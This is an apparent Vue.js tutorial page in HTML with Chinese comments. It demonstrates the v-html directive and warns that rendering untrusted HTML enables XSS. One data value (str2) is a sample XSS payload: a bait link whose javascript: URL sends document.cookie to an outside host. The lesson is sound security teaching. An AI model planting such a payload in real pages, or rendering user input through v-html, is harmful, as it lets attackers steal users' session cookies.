<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <!-- import CSS -->
    <link rel="stylesheet" href="../css/eui.css">
    <!-- import JavaScript -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <script src="../js/eui.js"></script>
    <script src="../js/axios.min.js"></script>
    <script src="../js/dayjs.min.js"></script>
</head>
<body>
<div id="root">
    <div>你好，{{ name }}</div>
    <div v-html="str">你好，</div>
    <div v-text="str"></div>
    <div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
    /*
    v-html:
        1.作用：向其所在的节点中渲染包含html结构的内容
        2.与插值语法的区别：
            （1）v-html会替换掉节点所有内容，{{ xx }}则不会
            （2）v-html可以识别html结构
        3.严重注意：v-html有安全性问题：
            （1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS（冒充用户之手）攻击！
            （2）一定要在可信的内容上使用v-html，永远不要在用户提交的内容上使用v-html!
        ！！！永远不要相信用户的输入！！！
     */
    let vm = new Vue({
        el:'#root',
        data:{
            name: '尚硅谷',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我有资源快来点我！</a>'
        }
    })
</script>
</html>